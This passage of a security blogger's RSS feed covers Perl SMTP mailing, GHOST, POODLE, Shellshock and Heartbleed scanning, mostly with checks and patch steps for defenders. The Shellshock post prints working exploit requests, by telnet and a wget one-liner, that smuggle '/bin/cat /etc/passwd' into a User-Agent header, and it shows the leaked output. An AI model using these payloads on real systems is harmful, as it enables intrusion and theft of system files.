</span></span><span class="line"><span class="cl">        <span class="n">IncludeType</span> <span class="o">=&gt;</span><span class="s">&#39;extern&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># This takes the MIME::Lite::HTML object, and manually &#34;parses&#34; the URL.</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># The result is actually a MIME::Lite object on which you can execute &#34;send&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$m</span> <span class="o">=</span> <span class="nv">$msg</span><span class="o">-&gt;</span><span class="n">parse</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpserver</span> <span class="o">=</span> <span class="s">&#39;smtp.domain.tld&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpport</span> <span class="o">=</span> <span class="mi">587</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtpuser</span>   <span class="o">=</span> <span class="s">&#39;Username&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$smtppassword</span> <span class="o">=</span> <span class="s">&#39;Password&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">my</span> <span class="nv">$mailer</span> <span class="o">=</span> <span class="k">new</span> <span class="nn">Net::SMTP::</span><span class="n">TLS</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="s">&#34;$smtpserver&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Hello</span>   <span class="o">=&gt;</span>      <span class="s">&#39;smtp.host.tld&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Port</span>    <span class="o">=&gt;</span>      <span class="nv">$smtpport</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">User</span>    <span class="o">=&gt;</span>      <span class="nv">$smtpuser</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">Password</span><span class="o">=&gt;</span>      <span class="nv">$smtppassword</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">mail</span><span class="p">(</span><span class="s">&#34;$from_email&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">to</span><span class="p">(</span><span class="s">&#34;$to_email&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># This is the key part why you need a MIME::Lite object and NOT a MIME::Lite::HTML</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">datasend</span><span class="p">(</span><span class="nv">$m</span><span class="o">-&gt;</span><span class="n">as_string</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">dataend</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$mailer</span><span class="o">-&gt;</span><span class="n">quit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This works &ldquo;well&rdquo; for non-html stuff. For HTML stuff it produces mixed results. If you relay it via something like postfix, it mostly works. If you relay it via something like Amazon&rsquo;s AWS SES service - it ends up breaking the HTML. Again, the problem is how do you do this in a simple/elegant way?</p>
<p>There are many solutions out there. What I noticed is that most used complicated headers/additional pieces of info. This really bothered me since I didn&rsquo;t want to deal with any of this. Ideally, I wanted an &ldquo;add-on&rdquo; to MIME::Lite::HTML which simply did authentication and TLS. This would have been the perfect solution. Sadly, this does not exist. Until it does, the easiest way achieve this is with the first solution I posted - using Email::Stuffer (which is an abstraction to a complicated MIME::Email) and Email::Sender** (Simple and Transport::SMTPS) to create your own secure and authenticated SMTP transport.</p>
<p>I hope this saves someone some time, because this simple stupid problem ended up wasting quite a bit of my time.</p>]]></content:encoded>
    </item>
    <item>
      <title>GHOST - glibc Remote Linux Vulnerability POC Exploit - CVE-2015-0235</title>
      <link>https://vpetkov.net/2015/01/27/ghost-glibc-remote-linux-vulnerability-poc-exploit-cve-2015-0235/</link>
      <pubDate>Tue, 27 Jan 2015 20:12:11 +0000</pubDate>
      <guid>https://vpetkov.net/2015/01/27/ghost-glibc-remote-linux-vulnerability-poc-exploit-cve-2015-0235/</guid>
      <description>&lt;p&gt;The guys at Qualys discovered a very interesting buffer overflow in the __nss_hostname_digits_dots() function of glibc. The main problem is that you can take advantage of this remotely via the gethostbyname*() functions, which are used in many applications. They dubbed this &amp;ldquo;GHOST&amp;rdquo; (due to the GetHOST&amp;hellip; name). The CVE assigned to this is: &lt;a href=&#34;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235&#34;&gt;CVE-2015-0235&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Currently, all distributions of Linux are vulnerable.&lt;br&gt;
This was apparently fixed between glibc-2.17 and glibc-2.18, but it was ignored in the long term &amp;ldquo;stable&amp;rdquo; releases.&lt;/p&gt;
&lt;p&gt;Here is some code to check if you are vulnerable:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The guys at Qualys discovered a very interesting buffer overflow in the __nss_hostname_digits_dots() function of glibc. The main problem is that you can take advantage of this remotely via the gethostbyname*() functions, which are used in many applications. They dubbed this &ldquo;GHOST&rdquo; (due to the GetHOST&hellip; name). The CVE assigned to this is: <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235">CVE-2015-0235</a>.</p>
<p>Currently, all distributions of Linux are vulnerable.<br>
This was apparently fixed between glibc-2.17 and glibc-2.18, but it was ignored in the long term &ldquo;stable&rdquo; releases.</p>
<p>Here is some code to check if you are vulnerable:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/*
</span></span><span class="line"><span class="cl"> * Qualys <span class="nb">test</span> program to check <span class="k">for</span> presence of GHOST vulnerability
</span></span><span class="line"><span class="cl"> * For more info: http://www.openwall.com/lists/oss-security/2015/01/27/9
</span></span><span class="line"><span class="cl"> * Save this in <span class="s2">&#34;CVS-2015-0235.c&#34;</span> and compile <span class="s2">&#34;gcc CVS-2015-0235.c -o CVS-2015-0235&#34;</span>
</span></span><span class="line"><span class="cl"> * Execute: <span class="s2">&#34;chmod 755 CVS-2015-0235 &amp;&amp; ./CVS-2015-0235.c&#34;</span>
</span></span><span class="line"><span class="cl"> */
</span></span><span class="line"><span class="cl"><span class="c1">#include &lt;netdb.h&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#include &lt;stdio.h&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#include &lt;stdlib.h&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#include &lt;string.h&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1">#include &lt;errno.h&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#define CANARY &#34;in_the_coal_mine&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">struct <span class="o">{</span>
</span></span><span class="line"><span class="cl">  char buffer<span class="o">[</span>1024<span class="o">]</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  char canary<span class="o">[</span>sizeof<span class="o">(</span>CANARY<span class="o">)]</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span> <span class="nv">temp</span> <span class="o">=</span> <span class="o">{</span> <span class="s2">&#34;buffer&#34;</span>, CANARY <span class="o">}</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">int main<span class="o">(</span>void<span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  struct hostent resbuf<span class="p">;</span>
</span></span><span class="line"><span class="cl">  struct hostent *result<span class="p">;</span>
</span></span><span class="line"><span class="cl">  int herrno<span class="p">;</span>
</span></span><span class="line"><span class="cl">  int retval<span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  /*** strlen <span class="o">(</span>name<span class="o">)</span> <span class="o">=</span> size_needed - sizeof <span class="o">(</span>*host_addr<span class="o">)</span> - sizeof <span class="o">(</span>*h_addr_ptrs<span class="o">)</span> - 1<span class="p">;</span> ***/
</span></span><span class="line"><span class="cl">  size_t <span class="nv">len</span> <span class="o">=</span> sizeof<span class="o">(</span>temp.buffer<span class="o">)</span> - 16*sizeof<span class="o">(</span>unsigned char<span class="o">)</span> - 2*sizeof<span class="o">(</span>char *<span class="o">)</span> - 1<span class="p">;</span>
</span></span><span class="line"><span class="cl">  char name<span class="o">[</span>sizeof<span class="o">(</span>temp.buffer<span class="o">)]</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  memset<span class="o">(</span>name, <span class="s1">&#39;0&#39;</span>, len<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  name<span class="o">[</span>len<span class="o">]</span> <span class="o">=</span> <span class="s1">&#39;\0&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nv">retval</span> <span class="o">=</span> gethostbyname_r<span class="o">(</span>name, <span class="p">&amp;</span>resbuf, temp.buffer, sizeof<span class="o">(</span>temp.buffer<span class="o">)</span>, <span class="p">&amp;</span>result, <span class="p">&amp;</span>herrno<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">(</span>strcmp<span class="o">(</span>temp.canary, CANARY<span class="o">)</span> !<span class="o">=</span> 0<span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">    puts<span class="o">(</span><span class="s2">&#34;vulnerable&#34;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    exit<span class="o">(</span>EXIT_SUCCESS<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">(</span><span class="nv">retval</span> <span class="o">==</span> ERANGE<span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">    puts<span class="o">(</span><span class="s2">&#34;not vulnerable&#34;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    exit<span class="o">(</span>EXIT_SUCCESS<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl">  puts<span class="o">(</span><span class="s2">&#34;should not happen&#34;</span><span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  exit<span class="o">(</span>EXIT_FAILURE<span class="o">)</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><p>Here is a way to find every service using libc:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">lsof <span class="p">|</span> grep libc <span class="p">|</span> awk <span class="s1">&#39;{print $1}&#39;</span> <span class="p">|</span> sort <span class="p">|</span> uniq
</span></span></code></pre></div><p>If you are vulnerable, updates have already been pushed out by the vendors.<br>
For <strong>Ubuntu/Debian</strong>, you can: apt-get update &amp;&amp; sudo apt-get install &ndash;only-upgrade libc6 -y<br>
For <strong>Centos/RHEL</strong>, you can: &ldquo;yum update glibc&rdquo;</p>
<p>A great summary of the key things can be found here:<br>
<a href="https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability">https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability</a></p>
<p>A very good technical writeup of the details can be found here:<br>
<a href="http://www.openwall.com/lists/oss-security/2015/01/27/9">http://www.openwall.com/lists/oss-security/2015/01/27/9</a></p>
<p>A few of the major linux distribution advisories:<br>
RedHat: <a href="https://rhn.redhat.com/errata/RHSA-2015-0090.html">https://rhn.redhat.com/errata/RHSA-2015-0090.html</a><br>
Ubuntu: <a href="https://launchpad.net/ubuntu/+source/eglibc">https://launchpad.net/ubuntu/+source/eglibc</a><br>
Debian: <a href="https://security-tracker.debian.org/tracker/CVE-2015-0235">https://security-tracker.debian.org/tracker/CVE-2015-0235</a></p>]]></content:encoded>
    </item>
    <item>
      <title>OpenSSL - SSL 3.0 Poodle Vulnerability</title>
      <link>https://vpetkov.net/2014/10/14/openssl-ssl-3-0-poodle-vulnerability/</link>
      <pubDate>Wed, 15 Oct 2014 00:59:58 +0000</pubDate>
      <guid>https://vpetkov.net/2014/10/14/openssl-ssl-3-0-poodle-vulnerability/</guid>
      <description>&lt;p&gt;Lately, we have seen some really bad vulnerabilities in regards to SSL (Heartbleed) and Bash (later dubbed &amp;ldquo;Shellshock&amp;rdquo;), along with some slightly &amp;ldquo;lighter&amp;rdquo; linux/open source ones.&lt;/p&gt;
&lt;p&gt;In September of this year, Google first discovered a fallback attack for SSL v3.0, and they wrote published a paper on it: &lt;a href=&#34;https://www.openssl.org/~bodo/ssl-poodle.pdf&#34;&gt;https://www.openssl.org/~bodo/ssl-poodle.pdf&lt;/a&gt;.&lt;br&gt;
Today, it was &lt;a href=&#34;http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html&#34;&gt;officially confirmed&lt;/a&gt; that SSL version 3.0 is no longer secure, and thus, it is no longer recommended in client software (ex: web browsers, mail clients, etc&amp;hellip;) or server software (ex: apache, postfix, etc&amp;hellip;).&lt;br&gt;
This was dubbed the &amp;ldquo;POODLE&amp;rdquo; vulnerability, and given &lt;a href=&#34;https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3566&#34;&gt;CVE-2014-3566&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A &amp;ldquo;POODLE attack&amp;rdquo; can be used against any website or browser that still supports SSLv3.&lt;br&gt;
Browsers and websites need to turn off SSLv3 as soon as possible in order to avoid compromising sensitive/private information. Even though a really small percent of servers/browsers are vulnerable (mozilla estimates 0.3% of the internet), that is quite large in the total number of users.&lt;/p&gt;
&lt;h2 id=&#34;how-can-i-check-if-my-browser-is-vulnerable&#34;&gt;How can I check if my browser is Vulnerable?&lt;/h2&gt;
&lt;p&gt;&lt;del&gt;The guys at dshield setup this nice browser check: &lt;a href=&#34;https://sslv3.dshield.org:444/index.html&#34;&gt;https://sslv3.dshield.org:444/index.html&lt;/a&gt;&lt;/del&gt; For checking your browser, use: &lt;a href=&#34;https://www.poodletest.com&#34;&gt;https://www.poodletest.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Poodletest was first mentioned to me by Curtis Wilcox.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Lately, we have seen some really bad vulnerabilities in regards to SSL (Heartbleed) and Bash (later dubbed &ldquo;Shellshock&rdquo;), along with some slightly &ldquo;lighter&rdquo; linux/open source ones.</p>
<p>In September of this year, Google first discovered a fallback attack for SSL v3.0, and they wrote published a paper on it: <a href="https://www.openssl.org/~bodo/ssl-poodle.pdf">https://www.openssl.org/~bodo/ssl-poodle.pdf</a>.<br>
Today, it was <a href="http://googleonlinesecurity.blogspot.com/2014/10/this-poodle-bites-exploiting-ssl-30.html">officially confirmed</a> that SSL version 3.0 is no longer secure, and thus, it is no longer recommended in client software (ex: web browsers, mail clients, etc&hellip;) or server software (ex: apache, postfix, etc&hellip;).<br>
This was dubbed the &ldquo;POODLE&rdquo; vulnerability, and given <a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3566">CVE-2014-3566</a></p>
<p>A &ldquo;POODLE attack&rdquo; can be used against any website or browser that still supports SSLv3.<br>
Browsers and websites need to turn off SSLv3 as soon as possible in order to avoid compromising sensitive/private information. Even though a really small percent of servers/browsers are vulnerable (mozilla estimates 0.3% of the internet), that is quite large in the total number of users.</p>
<h2 id="how-can-i-check-if-my-browser-is-vulnerable">How can I check if my browser is Vulnerable?</h2>
<p><del>The guys at dshield setup this nice browser check: <a href="https://sslv3.dshield.org:444/index.html">https://sslv3.dshield.org:444/index.html</a></del> For checking your browser, use: <a href="https://www.poodletest.com">https://www.poodletest.com</a></p>
<p>Poodletest was first mentioned to me by Curtis Wilcox.</p>
<p>Chris La Nauze mentioned another website which seems great (if not even better than dshield&rsquo;s):<br>
<a href="https://www.bestvpn.com/poodle-ssl3-exploit-protection/">https://www.bestvpn.com/poodle-ssl3-exploit-protection/</a></p>
<p>Until an official patch comes out (this is a design bug, not a software bug - it will most likely be just end-of-lifed), you can turn off SSLv3 support for these major products:</p>
<h2 id="how-can-i-check-if-my-server-is-vulnerable">How can I check if my server is Vulnerable?</h2>
<p>For checking your server, use: <a href="https://www.poodlescan.com">https://www.poodlescan.com</a></p>
<p>If you want something a bit more &ldquo;trusted&rdquo;, you can review the source code and download this: <a href="https://github.com/0xICF/POODLEScanner">https://github.com/0xICF/POODLEScanner</a></p>
<p>You can install and run this yourself very easily (Ubuntu based systems):</p>
<pre tabindex="0"><code>apt-get install python3-ipy
</code></pre><p>Alternatively, you can also just download &ldquo;python3-pip&rdquo; and then install it via &ldquo;pip3 install IPy&rdquo;.</p>
<p>At last, you can even use some of the more commonly available tools:<br>
One way is via nmap: <a href="http://mariuszs.github.io/blog/2014/sslv3-poodle-check.html">http://mariuszs.github.io/blog/2014/sslv3-poodle-check.html</a></p>
<p>Essentially, you are running:</p>
<pre tabindex="0"><code>nmap -p 443 --script +ssl-enum-ciphers YOUR.SERVER.ADDRESS.COM
</code></pre><p>The other way via OpenSSL directly which is even simpler (and guaranteed to be available on any linux system):</p>
<pre tabindex="0"><code>timeout 2 openssl s_client -connect $1:443 &lt; /dev/null 2&gt;/dev/null | timeout 2 openssl x509 -text -in /dev/stdin | grep &#34;Signature Algorithm&#34; | uniq
</code></pre><h2 id="patching-firefox">Patching Firefox</h2>
<p>In firefox, go to &ldquo;<em>about:config</em>&rdquo;, find <em>security.tls.version.min</em> and set the value to <em>1</em>. Then restart your browser to drop any open SSL connections.</p>
<h2 id="patching-in-internet-explorer-ie">Patching in Internet Explorer (IE)</h2>
<p>Go to: Setting -&gt; Internet Options -&gt; Advanced Tab -&gt; Uncheck &ldquo;SSLv3&rdquo; under &ldquo;Security&rdquo;</p>
<h2 id="patching-apache">Patching Apache</h2>
<p>Edit your ssl.conf (or equivalent virtual config) and add: <em>SSLProtocol All -SSLv2 -SSLv3</em><br>
Then restart apache: <em>sudo service apache2 restart</em></p>
<h2 id="patching-nginx">Patching Nginx</h2>
<p>Edit your config and add: <em>ssl_protocols: TLSv1 TLSv1.1 TLSv1.2;</em><br>
Then restart nginx: <em>sudo service nginx restart</em></p>
<h2 id="patching-postfix">Patching Postfix</h2>
<p>Edit your main.cf config and change: <em>smtpd_tls_mandatory_protocols=!SSLv2,!SSLv3</em><br>
Then restart postfix: <em>sudo service postfix restart</em></p>
<h2 id="patching-iis">Patching IIS</h2>
<p>Open regedit and go to:<br>
<em>HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders \SCHANNEL\Protocols</em><br>
Under <em>Protocols</em> you will probably have a folder called &ldquo;<em>SSL 2.0</em>&rdquo;. Please create a &ldquo;<em>SSL 3.0</em>&rdquo; folder if you don&rsquo;t have one already. Under the SSL 3.0 folder, please create a DWORD value called &ldquo;<em>Enabled</em>&rdquo; with value &ldquo;__&rdquo;. At this point, you have to reboot the server.</p>
<p>Another way to solve this problem, per Google is to &ldquo;use SSL implementations that take advantage of the TLS_FALLBACK_SCSV feature. This feature notifies the other side that you first tried the stronger cipher. This way, they can reject the downgrade attempt that may have been introduced by a MitM attack.&rdquo;.</p>]]></content:encoded>
    </item>
    <item>
      <title>Bash remote exploit vulnerability</title>
      <link>https://vpetkov.net/2014/09/24/bash-remote-exploit-vulnerability/</link>
      <pubDate>Wed, 24 Sep 2014 21:18:05 +0000</pubDate>
      <guid>https://vpetkov.net/2014/09/24/bash-remote-exploit-vulnerability/</guid>
      <description>&lt;p&gt;As some of you may have heard, a very serious remote vulnerability was &lt;del&gt;discovered&lt;/del&gt; disclosed today within bash.&lt;/p&gt;
&lt;p&gt;A quick summary of the problem is that bash does not properly process function definitions, which can be exported like shell variables. This is a bit like a SQL/XSS injection problem - you provide an &amp;ldquo;end&amp;rdquo; to your input, and continue writing other functions/calls after it, which then get executed.&lt;/p&gt;
&lt;p&gt;A quick example:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;env x=&amp;#39;() { :;}; echo vulnerable!&amp;#39; bash -c &amp;#39;&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A vulnerable system looks like this:&lt;br&gt;
&lt;em&gt;vulnerable!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;A patched system looks like this:&lt;br&gt;
&lt;em&gt;bash: warning: x: ignoring function definition attempt&lt;br&gt;
bash: error importing function definition for `x&#39;&lt;/em&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>As some of you may have heard, a very serious remote vulnerability was <del>discovered</del> disclosed today within bash.</p>
<p>A quick summary of the problem is that bash does not properly process function definitions, which can be exported like shell variables. This is a bit like a SQL/XSS injection problem - you provide an &ldquo;end&rdquo; to your input, and continue writing other functions/calls after it, which then get executed.</p>
<p>A quick example:</p>
<pre tabindex="0"><code>env x=&#39;() { :;}; echo vulnerable!&#39; bash -c &#39;&#39;
</code></pre><p>A vulnerable system looks like this:<br>
<em>vulnerable!</em></p>
<p>A patched system looks like this:<br>
<em>bash: warning: x: ignoring function definition attempt<br>
bash: error importing function definition for `x'</em></p>
<p>The second check is:</p>
<pre tabindex="0"><code>cd /tmp; env X=&#39;() { (a)=&gt;\&#39; bash -c &#34;echo date&#34;; cat echo
</code></pre><p>A vulnerable system looks like this:<br>
_date<br>
# ACTUAL DATE/TIME STRING #<br>
_</p>
<p>A patched system looks like this:<br>
<em>#NOTHING DISPLAYED#</em></p>
<p>This can be exploited remotely via HTTP requests to CGIs, but also, via AcceptEnv variables, TERM, and SSH_ORIGINAL_COMMAND overrides. By default, openssh accepts LANG and LCC* env. variables.</p>
<h2 id="important-about-cgishttp">Important about CGIs/HTTP</h2>
<p>There has been a lot of confusion online about how/what you are exploiting via CGI. By scanning the IP of a server, you are really going for the / (root) path of the server. This check is basically good for two things - discovering vulnerable embedded devices, and finding people that have placed their cgi-bin root on /. The reality is that these are the &ldquo;quick&rdquo; targets, but they are not the many.</p>
<p>An example of a proper CGI exploit would look like this, given that /cgi-bin/index.cgi exists and is written in bash:</p>
<pre tabindex="0"><code>% telnet 192.168.1.100 80
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is &#39;^]&#39;.
get /cgi-bin/index.cgi http.1.1
host: ventz.com
user-agent: () { test;};echo \&#34;Content-type: text/plain\&#34;; echo; echo; /bin/cat /etc/passwd

HTTP/1.1 200 OK
Date: Sat, 27 Sep 2014 01:43:00 GMT
Server: Apache/2.4.6 (CentOS)
&#34;Content-type: text/plain&#34;
Connection: close

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
Connection closed by foreign host.
</code></pre><p>​Here is the easier way w/ wget in one line:</p>
<pre tabindex="0"><code>wget -S -O - -U &#34;() { test;};echo \&#34;Content-type: text/plain\&#34;; echo; echo; /bin/cat /etc/passwd&#34; http://192.168.1.100/cgi-bin/index.cgi​
</code></pre><p>In this case, throwing stuff at the root (http://192.168.1.100) would produce absolutely nothing.</p>
<p>Also, it&rsquo;s interesting to note that it looks like there is no way to exploit the second vulnerability via HTTP/CGI.</p>
<p>The CVE for <del>this one</del> the first one is: <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271">http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271</a> It seems like this is a &ldquo;temporary&rdquo; patch.</p>
<p>The permanent <del>will be</del> is released under: <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169">http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169</a> Some are referring to this as &ldquo;shellshock&rdquo;.</p>
<p>An update on this is that the following CVEs exist: CVE-2014-7186, CVE-2014-7187, CVE-2014-6277, CVE-2014-6278 - and they are all related under the now catchy &ldquo;Shellshock&rdquo; vulnerability.</p>
<p>The full and initial details can be found here: <a href="http://seclists.org/oss-sec/2014/q3/650">http://seclists.org/oss-sec/2014/q3/650</a></p>
<p>Also, people like Robert have already started scanning for this: <a href="http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html">http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html</a> (<del>this is actually an elegant way of doing it</del> I think this has a lot of issues actually - see above about the &ldquo;Important about CGIs&rdquo;)</p>
<p>Rapid7 wrote an excellent blog post about this: <a href="https://community.rapid7.com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271">https://community.rapid7.com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271</a> You can see a lot of details about the &ldquo;panic&rdquo; effect versus the reality of this vulnerability.</p>
<h2 id="day-of-release---update-1">Day of release - Update #1</h2>
<p>At last, it looks like there is already an exploit in the wild: <a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3505">http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3505</a></p>
<p>(note: at this point there are many exploits now - including worms and botnets)</p>
<h2 id="day-of-release---update-2">Day of release - Update #2</h2>
<p>It looks like there is a MetaSploit module already: <a href="https://github.com/rapid7/metasploit-framework/pull/3880">https://github.com/rapid7/metasploit-framework/pull/3880</a></p>
<p>At last - here is a GREAT video summarizing everything from the SANS institute: <a href="https://www.youtube.com/watch?v=W7GaVyzkCs0">https://www.youtube.com/watch?v=W7GaVyzkCs0</a></p>]]></content:encoded>
    </item>
    <item>
      <title>Ridiculously fast Heartbleed Subnet Scanner - nmap heartbleed howto and tutorial</title>
      <link>https://vpetkov.net/2014/04/11/ridiculously-fast-heartbleed-subnet-scanner-nmap-heartbleed-howto-and-tutorial/</link>
      <pubDate>Fri, 11 Apr 2014 21:00:05 +0000</pubDate>
      <guid>https://vpetkov.net/2014/04/11/ridiculously-fast-heartbleed-subnet-scanner-nmap-heartbleed-howto-and-tutorial/</guid>
      <description>&lt;p&gt;&lt;strong&gt;UPDATE: Insecure has released v6.46 which contains all of these patches. Just grab the latest and follow the usage info here&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you don&amp;rsquo;t know what Heartbleed is, you can find out here: &lt;a href=&#34;http://heartbleed.com&#34;&gt;http://heartbleed.com/&lt;/a&gt;. If you don&amp;rsquo;t want to read the details above, XKCD put together a great short comic about it: &lt;a href=&#34;http://xkcd.com/1354/&#34;&gt;http://xkcd.com/1354/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;NOTE: I first put this together 3 days ago, but I am just now releasing after being asked by many people for the package and directions.&lt;/p&gt;
&lt;p&gt;The problem: How do you scan a bit more than 5 class B&amp;rsquo;s (~328000 IP addresses) before any off the vendors (Tenable, Qualys, Rapid7) have released signatures? Easy - you build your own!&lt;br&gt;
The goal was to scan as many IPs as possible at work as quickly as possible.&lt;/p&gt;
&lt;p&gt;After using the Heartbleed github project (&lt;a href=&#34;https://github.com/FiloSottile/Heartbleed&#34;&gt;https://github.com/FiloSottile/Heartbleed&lt;/a&gt;) and creating a Dancer web service around it, I realized that there still needed to be a faster way to scan for this. How much faster?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How about a /24 (254 IP addresses) in less than 10 seconds.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I have a patched version of NMAP already (6.40) that has Heartbleed checks.&lt;br&gt;
&lt;strong&gt;Again, Insecure has released v.6.46 which has these patches. Grab that and follow these directions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Then, you can scan like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;/usr/local/bin/nmap --open --script ssl-heartbleed -p &lt;span class=&#34;m&#34;&gt;443&lt;/span&gt; SUBNET-CIDR-HERE
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want cleaner results, for a script, a good way to filter the output will be with something like this:&lt;/p&gt;
